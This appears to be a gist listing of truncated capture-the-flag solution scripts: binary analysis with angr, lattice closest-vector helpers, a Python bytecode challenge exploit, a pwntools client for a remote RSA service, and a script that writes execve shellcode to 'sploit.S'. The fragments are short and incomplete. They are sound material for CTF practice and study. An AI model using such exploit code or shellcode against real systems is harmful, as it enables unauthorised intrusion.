This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import claripy | |
| import struct | |
| import angr | |
| from tqdm import tqdm | |
| from capstone import * | |
| from capstone.x86 import * | |
| with open('serpentine.exe', 'rb') as f: | |
| f.seek(0x95ef0) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def cvp_coords(B, t, reduce=True): | |
| ''' | |
| Returns both the (approximate) closest vector | |
| to t and its coordinates in the lattice B | |
| ''' | |
| t = vector(ZZ, t) | |
| if reduce: B, R = B.LLL(transformation=True) | |
| else: R = identity_matrix(ZZ, B.nrows()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import threading | |
| from sage.all import * | |
| from ortools.sat.python import cp_model as ort | |
| from queue import Queue | |
| def babai_coords(M, tgt): | |
| ''' | |
| Returns both the (approximate) closest vector | |
| to tgt and its coordinates in the lattice M |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess | |
| import opcode | |
| # This may need to be adjusted but should always | |
| # be reachable | |
| EXEC_OFF = 29 | |
| ''' | |
| chall.py: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from Crypto.Util.number import * | |
| from pwn import * | |
| import string | |
| import random | |
| io = remote('46.246.39.165', 50000) | |
| io.recvuntil(b'card: ') | |
| e, N = eval(io.recvuntil(b'. ', drop=True)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import requests | |
| open('sploit.S', 'w').write(''' | |
| global _start | |
| section .text | |
| _start: | |
| mov rax, 59 ; execve | |
| mov rdi, fn |